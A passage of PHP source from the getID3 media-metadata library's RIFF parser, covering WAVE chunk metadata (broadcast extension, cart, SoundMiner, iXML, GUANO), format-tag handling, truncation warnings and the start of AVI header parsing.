						$thisfile_riff['rgad']['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_album['adjustment'], $thisfile_riff_raw_rgad_album['signbit']);
					}
				}

				if (isset($thisfile_riff_WAVE['fact'][0]['data'])) {
					$thisfile_riff_raw['fact']['NumberOfSamples'] = $this->EitherEndian2Int(substr($thisfile_riff_WAVE['fact'][0]['data'], 0, 4));

					// This should be a good way of calculating exact playtime,
					// but some sample files have had incorrect number of samples,
					// so cannot use this method

					// if (!empty($thisfile_riff_raw['fmt ']['nSamplesPerSec'])) {
					//     $info['playtime_seconds'] = (float) $thisfile_riff_raw['fact']['NumberOfSamples'] / $thisfile_riff_raw['fmt ']['nSamplesPerSec'];
					// }
				}
				if (!empty($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'])) {
					$thisfile_audio['bitrate'] = getid3_lib::CastAsInt($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'] * 8);
				}

				if (isset($thisfile_riff_WAVE['bext'][0]['data'])) {
					// shortcut
					$thisfile_riff_WAVE_bext_0 = &$thisfile_riff_WAVE['bext'][0];

					$thisfile_riff_WAVE_bext_0['title']          =                              substr($thisfile_riff_WAVE_bext_0['data'],   0, 256);
					$thisfile_riff_WAVE_bext_0['author']         =                              substr($thisfile_riff_WAVE_bext_0['data'], 256,  32);
					$thisfile_riff_WAVE_bext_0['reference']      =                              substr($thisfile_riff_WAVE_bext_0['data'], 288,  32);
					foreach (array('title','author','reference') as $bext_key) {
						// Some software (notably Logic Pro) may not blank existing data before writing a null-terminated string to the offsets
						// assigned for text fields, resulting in a null-terminated string (or possibly just a single null) followed by garbage
						// Keep only string as far as first null byte, discard rest of fixed-width data
						// https://github.com/JamesHeinrich/getID3/issues/263
						$null_terminator_offset = strpos($thisfile_riff_WAVE_bext_0[$bext_key], "\x00");
						$thisfile_riff_WAVE_bext_0[$bext_key] = substr($thisfile_riff_WAVE_bext_0[$bext_key], 0, $null_terminator_offset);
					}

					$thisfile_riff_WAVE_bext_0['origin_date']    =                              substr($thisfile_riff_WAVE_bext_0['data'], 320,  10);
					$thisfile_riff_WAVE_bext_0['origin_time']    =                              substr($thisfile_riff_WAVE_bext_0['data'], 330,   8);
					$thisfile_riff_WAVE_bext_0['time_reference'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 338,   8));
					$thisfile_riff_WAVE_bext_0['bwf_version']    = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 346,   1));
					$thisfile_riff_WAVE_bext_0['reserved']       =                              substr($thisfile_riff_WAVE_bext_0['data'], 347, 254);
					$thisfile_riff_WAVE_bext_0['coding_history'] =         explode("\r\n", trim(substr($thisfile_riff_WAVE_bext_0['data'], 601)));
					if (preg_match('#^([0-9]{4}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_date'], $matches_bext_date)) {
						if (preg_match('#^([0-9]{2}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_time'], $matches_bext_time)) {
							$bext_timestamp = array();
							list($dummy, $bext_timestamp['year'], $bext_timestamp['month'],  $bext_timestamp['day'])    = $matches_bext_date;
							list($dummy, $bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second']) = $matches_bext_time;
							$thisfile_riff_WAVE_bext_0['origin_date_unix'] = gmmktime($bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second'], $bext_timestamp['month'], $bext_timestamp['day'], $bext_timestamp['year']);
						} else {
							$this->warning('RIFF.WAVE.BEXT.origin_time is invalid');
						}
					} else {
						$this->warning('RIFF.WAVE.BEXT.origin_date is invalid');
					}
					$thisfile_riff['comments']['author'][] = $thisfile_riff_WAVE_bext_0['author'];
					$thisfile_riff['comments']['title'][]  = $thisfile_riff_WAVE_bext_0['title'];
				}

				if (isset($thisfile_riff_WAVE['MEXT'][0]['data'])) {
					// shortcut
					$thisfile_riff_WAVE_MEXT_0 = &$thisfile_riff_WAVE['MEXT'][0];

					$thisfile_riff_WAVE_MEXT_0['raw']['sound_information']      = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 0, 2));
					$thisfile_riff_WAVE_MEXT_0['flags']['homogenous']           = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0001);
					if ($thisfile_riff_WAVE_MEXT_0['flags']['homogenous']) {
						$thisfile_riff_WAVE_MEXT_0['flags']['padding']          = ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0002) ? false : true;
						$thisfile_riff_WAVE_MEXT_0['flags']['22_or_44']         =        (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0004);
						$thisfile_riff_WAVE_MEXT_0['flags']['free_format']      =        (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0008);

						$thisfile_riff_WAVE_MEXT_0['nominal_frame_size']        = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 2, 2));
					}
					$thisfile_riff_WAVE_MEXT_0['anciliary_data_length']         = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 6, 2));
					$thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def']     = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 8, 2));
					$thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_left']  = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0001);
					$thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_free']  = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0002);
					$thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_right'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0004);
				}

				if (isset($thisfile_riff_WAVE['cart'][0]['data'])) {
					// shortcut
					$thisfile_riff_WAVE_cart_0 = &$thisfile_riff_WAVE['cart'][0];

					$thisfile_riff_WAVE_cart_0['version']              =                              substr($thisfile_riff_WAVE_cart_0['data'],   0,  4);
					$thisfile_riff_WAVE_cart_0['title']                =                         trim(substr($thisfile_riff_WAVE_cart_0['data'],   4, 64));
					$thisfile_riff_WAVE_cart_0['artist']               =                         trim(substr($thisfile_riff_WAVE_cart_0['data'],  68, 64));
					$thisfile_riff_WAVE_cart_0['cut_id']               =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 132, 64));
					$thisfile_riff_WAVE_cart_0['client_id']            =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 196, 64));
					$thisfile_riff_WAVE_cart_0['category']             =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 260, 64));
					$thisfile_riff_WAVE_cart_0['classification']       =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 324, 64));
					$thisfile_riff_WAVE_cart_0['out_cue']              =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 388, 64));
					$thisfile_riff_WAVE_cart_0['start_date']           =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 452, 10));
					$thisfile_riff_WAVE_cart_0['start_time']           =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 462,  8));
					$thisfile_riff_WAVE_cart_0['end_date']             =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 470, 10));
					$thisfile_riff_WAVE_cart_0['end_time']             =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 480,  8));
					$thisfile_riff_WAVE_cart_0['producer_app_id']      =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 488, 64));
					$thisfile_riff_WAVE_cart_0['producer_app_version'] =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 552, 64));
					$thisfile_riff_WAVE_cart_0['user_defined_text']    =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 616, 64));
					$thisfile_riff_WAVE_cart_0['zero_db_reference']    = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 680,  4), true);
					for ($i = 0; $i < 8; $i++) {
						$thisfile_riff_WAVE_cart_0['post_time'][$i]['usage_fourcc'] =                  substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8), 4);
						$thisfile_riff_WAVE_cart_0['post_time'][$i]['timer_value']  = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8) + 4, 4));
					}
					$thisfile_riff_WAVE_cart_0['url']              =                 trim(substr($thisfile_riff_WAVE_cart_0['data'],  748, 1024));
					$thisfile_riff_WAVE_cart_0['tag_text']         = explode("\r\n", trim(substr($thisfile_riff_WAVE_cart_0['data'], 1772)));
					$thisfile_riff['comments']['tag_text'][]       =                      substr($thisfile_riff_WAVE_cart_0['data'], 1772);

					$thisfile_riff['comments']['artist'][] = $thisfile_riff_WAVE_cart_0['artist'];
					$thisfile_riff['comments']['title'][]  = $thisfile_riff_WAVE_cart_0['title'];
				}

				if (isset($thisfile_riff_WAVE['SNDM'][0]['data'])) {
					// SoundMiner metadata

					// shortcuts
					$thisfile_riff_WAVE_SNDM_0      = &$thisfile_riff_WAVE['SNDM'][0];
					$thisfile_riff_WAVE_SNDM_0_data = &$thisfile_riff_WAVE_SNDM_0['data'];
					$SNDM_startoffset = 0;
					$SNDM_endoffset   = $thisfile_riff_WAVE_SNDM_0['size'];

					while ($SNDM_startoffset < $SNDM_endoffset) {
						$SNDM_thisTagOffset = 0;
						$SNDM_thisTagSize      = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4));
						$SNDM_thisTagOffset += 4;
						$SNDM_thisTagKey       =                           substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4);
						$SNDM_thisTagOffset += 4;
						$SNDM_thisTagDataSize  = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2));
						$SNDM_thisTagOffset += 2;
						$SNDM_thisTagDataFlags = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2));
						$SNDM_thisTagOffset += 2;
						$SNDM_thisTagDataText =                            substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, $SNDM_thisTagDataSize);
						$SNDM_thisTagOffset += $SNDM_thisTagDataSize;

						if ($SNDM_thisTagSize != (4 + 4 + 2 + 2 + $SNDM_thisTagDataSize)) {
							$this->warning('RIFF.WAVE.SNDM.data contains tag not expected length (expected: '.$SNDM_thisTagSize.', found: '.(4 + 4 + 2 + 2 + $SNDM_thisTagDataSize).') at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')');
							break;
						} elseif ($SNDM_thisTagSize <= 0) {
							$this->warning('RIFF.WAVE.SNDM.data contains zero-size tag at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')');
							break;
						}
						$SNDM_startoffset += $SNDM_thisTagSize;

						$thisfile_riff_WAVE_SNDM_0['parsed_raw'][$SNDM_thisTagKey] = $SNDM_thisTagDataText;
						if ($parsedkey = self::waveSNDMtagLookup($SNDM_thisTagKey)) {
							$thisfile_riff_WAVE_SNDM_0['parsed'][$parsedkey] = $SNDM_thisTagDataText;
						} else {
							$this->warning('RIFF.WAVE.SNDM contains unknown tag "'.$SNDM_thisTagKey.'" at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')');
						}
					}

					$tagmapping = array(
						'tracktitle'=>'title',
						'category'  =>'genre',
						'cdtitle'   =>'album',
					);
					foreach ($tagmapping as $fromkey => $tokey) {
						if (isset($thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey])) {
							$thisfile_riff['comments'][$tokey][] = $thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey];
						}
					}
				}

				if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) {
					// requires functions simplexml_load_string and get_object_vars
					if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data'])) {
						$thisfile_riff_WAVE['iXML'][0]['parsed'] = $parsedXML;
						if (isset($parsedXML['SPEED']['MASTER_SPEED'])) {
							@list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['MASTER_SPEED']);
							$thisfile_riff_WAVE['iXML'][0]['master_speed'] = (int) $numerator / ($denominator ? $denominator : 1000);
						}
						if (isset($parsedXML['SPEED']['TIMECODE_RATE'])) {
							@list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['TIMECODE_RATE']);
							$thisfile_riff_WAVE['iXML'][0]['timecode_rate'] = (int) $numerator / ($denominator ? $denominator : 1000);
						}
						if (isset($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO']) && !empty($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) && !empty($thisfile_riff_WAVE['iXML'][0]['timecode_rate'])) {
							$samples_since_midnight = floatval(ltrim($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_HI'].$parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO'], '0'));
							$timestamp_sample_rate = (is_array($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) ? max($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) : $parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']); // XML could possibly contain more than one TIMESTAMP_SAMPLE_RATE tag, returning as array instead of integer [why? does it make sense? perhaps doesn't matter but getID3 needs to deal with it] - see https://github.com/JamesHeinrich/getID3/issues/105
							$thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] = $samples_since_midnight / $timestamp_sample_rate;
							$h = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds']       / 3600);
							$m = floor(($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600))      / 60);
							$s = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60));
							$f =       ($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60) - $s) * $thisfile_riff_WAVE['iXML'][0]['timecode_rate'];
							$thisfile_riff_WAVE['iXML'][0]['timecode_string']       = sprintf('%02d:%02d:%02d:%05.2f', $h, $m, $s,       $f);
							$thisfile_riff_WAVE['iXML'][0]['timecode_string_round'] = sprintf('%02d:%02d:%02d:%02d',   $h, $m, $s, round($f));
							unset($samples_since_midnight, $timestamp_sample_rate, $h, $m, $s, $f);
						}
						unset($parsedXML);
					}
				}

				if (isset($thisfile_riff_WAVE['guan'][0]['data'])) {
					// shortcut
					$thisfile_riff_WAVE_guan_0 = &$thisfile_riff_WAVE['guan'][0];
					if (!empty($thisfile_riff_WAVE_guan_0['data']) && (substr($thisfile_riff_WAVE_guan_0['data'], 0, 14) == 'GUANO|Version:')) {
						$thisfile_riff['guano'] = array();
						foreach (explode("\n", $thisfile_riff_WAVE_guan_0['data']) as $line) {
							if ($line) {
								@list($key, $value) = explode(':', $line, 2);
								if (substr($value, 0, 3) == '[{"') {
									if ($decoded = @json_decode($value, true)) {
										if (!empty($decoded) && (count($decoded) == 1)) {
											$value = $decoded[0];
										} else {
											$value = $decoded;
										}
									}
								}
								$thisfile_riff['guano'] = array_merge_recursive($thisfile_riff['guano'], getid3_lib::CreateDeepArray($key, '|', $value));
							}
						}

						// https://www.wildlifeacoustics.com/SCHEMA/GUANO.html
						foreach ($thisfile_riff['guano'] as $key => $value) {
							switch ($key) {
								case 'Loc Position':
									if (preg_match('#^([\\+\\-]?[0-9]+\\.[0-9]+) ([\\+\\-]?[0-9]+\\.[0-9]+)$#', $value, $matches)) {
										list($dummy, $latitude, $longitude) = $matches;
										$thisfile_riff['comments']['gps_latitude'][0]  = floatval($latitude);
										$thisfile_riff['comments']['gps_longitude'][0] = floatval($longitude);
										$thisfile_riff['guano'][$key] = floatval($latitude).' '.floatval($longitude);
									}
									break;
								case 'Loc Elevation': // Elevation/altitude above mean sea level in meters
									$thisfile_riff['comments']['gps_altitude'][0] = floatval($value);
									$thisfile_riff['guano'][$key] = (float) $value;
									break;
								case 'Filter HP':        // High-pass filter frequency in kHz
								case 'Filter LP':        // Low-pass filter frequency in kHz
								case 'Humidity':         // Relative humidity as a percentage
								case 'Length':           // Recording length in seconds
								case 'Loc Accuracy':     // Estimated Position Error in meters
								case 'Temperature Ext':  // External temperature in degrees Celsius outside the recorder's housing
								case 'Temperature Int':  // Internal temperature in degrees Celsius inside the recorder's housing
									$thisfile_riff['guano'][$key] = (float) $value;
									break;
								case 'Samplerate':       // Recording sample rate, Hz
								case 'TE':               // Time-expansion factor. If not specified, then 1 (no time-expansion a.k.a. direct-recording) is assumed.
									$thisfile_riff['guano'][$key] = (int) $value;
									break;
							}
						}

					} else {
						$this->warning('RIFF.guan data not in expected format');
					}
				}

				if (!isset($thisfile_audio['bitrate']) && isset($thisfile_riff_audio[$streamindex]['bitrate'])) {
					$thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate'];
					$info['playtime_seconds'] = (float)getid3_lib::SafeDiv((($info['avdataend'] - $info['avdataoffset']) * 8), $thisfile_audio['bitrate']);
				}

				if (!empty($info['wavpack'])) {
					$thisfile_audio_dataformat = 'wavpack';
					$thisfile_audio['bitrate_mode'] = 'vbr';
					$thisfile_audio['encoder']      = 'WavPack v'.$info['wavpack']['version'];

					// Reset to the way it was - RIFF parsing will have messed this up
					$info['avdataend']        = $Original['avdataend'];
					$thisfile_audio['bitrate'] = getid3_lib::SafeDiv(($info['avdataend'] - $info['avdataoffset']) * 8, $info['playtime_seconds']);

					$this->fseek($info['avdataoffset'] - 44);
					$RIFFdata = $this->fread(44);
					$OrignalRIFFheaderSize = getid3_lib::LittleEndian2Int(substr($RIFFdata,  4, 4)) +  8;
					$OrignalRIFFdataSize   = getid3_lib::LittleEndian2Int(substr($RIFFdata, 40, 4)) + 44;

					if ($OrignalRIFFheaderSize > $OrignalRIFFdataSize) {
						$info['avdataend'] -= ($OrignalRIFFheaderSize - $OrignalRIFFdataSize);
						$this->fseek($info['avdataend']);
						$RIFFdata .= $this->fread($OrignalRIFFheaderSize - $OrignalRIFFdataSize);
					}

					// move the data chunk after all other chunks (if any)
					// so that the RIFF parser doesn't see EOF when trying
					// to skip over the data chunk
					$RIFFdata = substr($RIFFdata, 0, 36).substr($RIFFdata, 44).substr($RIFFdata, 36, 8);
					$getid3_riff = new getid3_riff($this->getid3);
					$getid3_riff->ParseRIFFdata($RIFFdata);
					unset($getid3_riff);
				}

				if (isset($thisfile_riff_raw['fmt ']['wFormatTag'])) {
					switch ($thisfile_riff_raw['fmt ']['wFormatTag']) {
						case 0x0001: // PCM
							if (!empty($info['ac3'])) {
								// Dolby Digital WAV files masquerade as PCM-WAV, but they're not
								$thisfile_audio['wformattag']  = 0x2000;
								$thisfile_audio['codec']       = self::wFormatTagLookup($thisfile_audio['wformattag']);
								$thisfile_audio['lossless']    = false;
								$thisfile_audio['bitrate']     = $info['ac3']['bitrate'];
								$thisfile_audio['sample_rate'] = $info['ac3']['sample_rate'];
							}
							if (!empty($info['dts'])) {
								// Dolby DTS files masquerade as PCM-WAV, but they're not
								$thisfile_audio['wformattag']  = 0x2001;
								$thisfile_audio['codec']       = self::wFormatTagLookup($thisfile_audio['wformattag']);
								$thisfile_audio['lossless']    = false;
								$thisfile_audio['bitrate']     = $info['dts']['bitrate'];
								$thisfile_audio['sample_rate'] = $info['dts']['sample_rate'];
							}
							break;
						case 0x08AE: // ClearJump LiteWave
							$thisfile_audio['bitrate_mode'] = 'vbr';
							$thisfile_audio_dataformat   = 'litewave';

							//typedef struct tagSLwFormat {
							//  WORD    m_wCompFormat;     // low byte defines compression method, high byte is compression flags
							//  DWORD   m_dwScale;         // scale factor for lossy compression
							//  DWORD   m_dwBlockSize;     // number of samples in encoded blocks
							//  WORD    m_wQuality;        // alias for the scale factor
							//  WORD    m_wMarkDistance;   // distance between marks in bytes
							//  WORD    m_wReserved;
							//
							//  //following paramters are ignored if CF_FILESRC is not set
							//  DWORD   m_dwOrgSize;       // original file size in bytes
							//  WORD    m_bFactExists;     // indicates if 'fact' chunk exists in the original file
							//  DWORD   m_dwRiffChunkSize; // riff chunk size in the original file
							//
							//  PCMWAVEFORMAT m_OrgWf;     // original wave format
							// }SLwFormat, *PSLwFormat;

							// shortcut
							$thisfile_riff['litewave']['raw'] = array();
							$riff_litewave     = &$thisfile_riff['litewave'];
							$riff_litewave_raw = &$riff_litewave['raw'];

							$flags = array(
								'compression_method' => 1,
								'compression_flags'  => 1,
								'm_dwScale'          => 4,
								'm_dwBlockSize'      => 4,
								'm_wQuality'         => 2,
								'm_wMarkDistance'    => 2,
								'm_wReserved'        => 2,
								'm_dwOrgSize'        => 4,
								'm_bFactExists'      => 2,
								'm_dwRiffChunkSize'  => 4,
							);
							$litewave_offset = 18;
							foreach ($flags as $flag => $length) {
								$riff_litewave_raw[$flag] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE['fmt '][0]['data'], $litewave_offset, $length));
								$litewave_offset += $length;
							}

							//$riff_litewave['quality_factor'] = intval(round((2000 - $riff_litewave_raw['m_dwScale']) / 20));
							$riff_litewave['quality_factor'] = $riff_litewave_raw['m_wQuality'];

							$riff_litewave['flags']['raw_source']    = ($riff_litewave_raw['compression_flags'] & 0x01) ? false : true;
							$riff_litewave['flags']['vbr_blocksize'] = ($riff_litewave_raw['compression_flags'] & 0x02) ? false : true;
							$riff_litewave['flags']['seekpoints']    =        (bool) ($riff_litewave_raw['compression_flags'] & 0x04);

							$thisfile_audio['lossless']        = (($riff_litewave_raw['m_wQuality'] == 100) ? true : false);
							$thisfile_audio['encoder_options'] = '-q'.$riff_litewave['quality_factor'];
							break;

						default:
							break;
					}
				}
				if ($info['avdataend'] > $info['filesize']) {
					switch ($thisfile_audio_dataformat) {
						case 'wavpack': // WavPack
						case 'lpac':    // LPAC
						case 'ofr':     // OptimFROG
						case 'ofs':     // OptimFROG DualStream
							// lossless compressed audio formats that keep original RIFF headers - skip warning
							break;

						case 'litewave':
							if (($info['avdataend'] - $info['filesize']) == 1) {
								// LiteWave appears to incorrectly *not* pad actual output file
								// to nearest WORD boundary so may appear to be short by one
								// byte, in which case - skip warning
							} else {
								// Short by more than one byte, throw warning
								$this->warning('Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)');
								$info['avdataend'] = $info['filesize'];
							}
							break;

						default:
							if ((($info['avdataend'] - $info['filesize']) == 1) && (($thisfile_riff[$RIFFsubtype]['data'][0]['size'] % 2) == 0) && ((($info['filesize'] - $info['avdataoffset']) % 2) == 1)) {
								// output file appears to be incorrectly *not* padded to nearest WORD boundary
								// Output less severe warning
								$this->warning('File should probably be padded to nearest WORD boundary, but it is not (expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' therefore short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)');
								$info['avdataend'] = $info['filesize'];
							} else {
								// Short by more than one byte, throw warning
								$this->warning('Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)');
								$info['avdataend'] = $info['filesize'];
							}
							break;
					}
				}
				if (!empty($info['mpeg']['audio']['LAME']['audio_bytes'])) {
					if ((($info['avdataend'] - $info['avdataoffset']) - $info['mpeg']['audio']['LAME']['audio_bytes']) == 1) {
						$info['avdataend']--;
						$this->warning('Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored');
					}
				}
				if ($thisfile_audio_dataformat == 'ac3') {
					unset($thisfile_audio['bits_per_sample']);
					if (!empty($info['ac3']['bitrate']) && ($info['ac3']['bitrate'] != $thisfile_audio['bitrate'])) {
						$thisfile_audio['bitrate'] = $info['ac3']['bitrate'];
					}
				}
				break;

			// http://en.wikipedia.org/wiki/Audio_Video_Interleave
			case 'AVI ':
				$info['fileformat'] = 'avi';
				$info['mime_type']  = 'video/avi';

				$thisfile_video['bitrate_mode'] = 'vbr'; // maybe not, but probably
				$thisfile_video['dataformat']   = 'avi';

				$thisfile_riff_video_current = array();

				if (isset($thisfile_riff[$RIFFsubtype]['movi']['offset'])) {
					$info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['movi']['offset'] + 8;
					if (isset($thisfile_riff['AVIX'])) {
						$info['avdataend'] = $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['offset'] + $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['size'];
					} else {
						$info['avdataend'] = $thisfile_riff['AVI ']['movi']['offset'] + $thisfile_riff['AVI ']['movi']['size'];
					}
					if ($info['avdataend'] > $info['filesize']) {
						$this->warning('Probably truncated file - expecting '.($info['avdataend'] - $info['avdataoffset']).' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($info['avdataend'] - $info['filesize']).' bytes)');
						$info['avdataend'] = $info['filesize'];
					}
				}

				if (isset($thisfile_riff['AVI ']['hdrl']['strl']['indx'])) {
					//$bIndexType = array(
					//	0x00 => 'AVI_INDEX_OF_INDEXES',
					//	0x01 => 'AVI_INDEX_OF_CHUNKS',
					//	0x80 => 'AVI_INDEX_IS_DATA',
					//);
					//$bIndexSubtype = array(
					//	0x01 => array(
					//		0x01 => 'AVI_INDEX_2FIELD',
					//	),
					//);
					foreach ($thisfile_riff['AVI ']['hdrl']['strl']['indx'] as $streamnumber => $steamdataarray) {
						$ahsisd = &$thisfile_riff['AVI ']['hdrl']['strl']['indx'][$streamnumber]['data'];

						$thisfile_riff_raw['indx'][$streamnumber]['wLongsPerEntry'] = $this->EitherEndian2Int(substr($ahsisd,  0, 2));
						$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType']  = $this->EitherEndian2Int(substr($ahsisd,  2, 1));
						$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']     = $this->EitherEndian2Int(substr($ahsisd,  3, 1));
						$thisfile_riff_raw['indx'][$streamnumber]['nEntriesInUse']  = $this->EitherEndian2Int(substr($ahsisd,  4, 4));
						$thisfile_riff_raw['indx'][$streamnumber]['dwChunkId']      =                         substr($ahsisd,  8, 4);
						$thisfile_riff_raw['indx'][$streamnumber]['dwReserved']     = $this->EitherEndian2Int(substr($ahsisd, 12, 4));

						//$thisfile_riff_raw['indx'][$streamnumber]['bIndexType_name']    =    $bIndexType[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']];
						//$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType_name'] = $bIndexSubtype[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']][$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType']];

						unset($ahsisd);
					}
				}
				if (isset($thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data'])) {
					$avihData = $thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data'];

					// shortcut
					$thisfile_riff_raw['avih'] = array();
					$thisfile_riff_raw_avih = &$thisfile_riff_raw['avih'];

					$thisfile_riff_raw_avih['dwMicroSecPerFrame']    = $this->EitherEndian2Int(substr($avihData,  0, 4)); // frame display rate (or 0L)
					if ($thisfile_riff_raw_avih['dwMicroSecPerFrame'] == 0) {
						$this->error('Corrupt RIFF file: avih.dwMicroSecPerFrame == zero');
						return false;
					}

					$flags = array(
						'dwMaxBytesPerSec',       // max. transfer rate
						'dwPaddingGranularity',   // pad to multiples of this size; normally 2K.
						'dwFlags',                // the ever-present flags
						'dwTotalFrames',          // # frames in file
						'dwInitialFrames',        //
						'dwStreams',              //
						'dwSuggestedBufferSize',  //
						'dwWidth',                //
						'dwHeight',               //
						'dwScale',                //
						'dwRate',                 //
						'dwStart',                //
						'dwLength',               //
					);
					$avih_offset = 4;
					foreach ($flags as $flag) {
						$thisfile_riff_raw_avih[$flag] = $this->EitherEndian2Int(substr($avihData, $avih_offset, 4));
						$avih_offset += 4;
					}

					$flags = array(
						'hasindex'     => 0x00000010,
						'mustuseindex' => 0x00000020,
						'interleaved'  => 0x00000100,
						'trustcktype'  => 0x00000800,
						'capturedfile' => 0x00010000,
						'copyrighted'  => 0x00020010,
					);
					foreach ($flags as $flag => $value) {
						$thisfile_riff_raw_avih['flags'][$flag] = (bool) ($thisfile_riff_raw_avih['dwFlags'] & $value);
					}

					// shortcut
					$thisfile_riff_video[$streamindex] = array();
					/** @var array $thisfile_riff_video_current */
					$thisfile_riff_video_current = &$thisfile_riff_video[$streamindex];

					if ($thisfile_riff_raw_avih['dwWidth'] > 0) { // @phpstan-ignore-line
						$thisfile_riff_video_current['frame_width'] = $thisfile_riff_raw_avih['dwWidth'];
						$thisfile_video['resolution_x']             = $thisfile_riff_video_current['frame_width'];
					}
					if ($thisfile_riff_raw_avih['dwHeight'] > 0) { // @phpstan-ignore-line
						$thisfile_riff_video_current['frame_height'] = $thisfile_riff_raw_avih['dwHeight'];
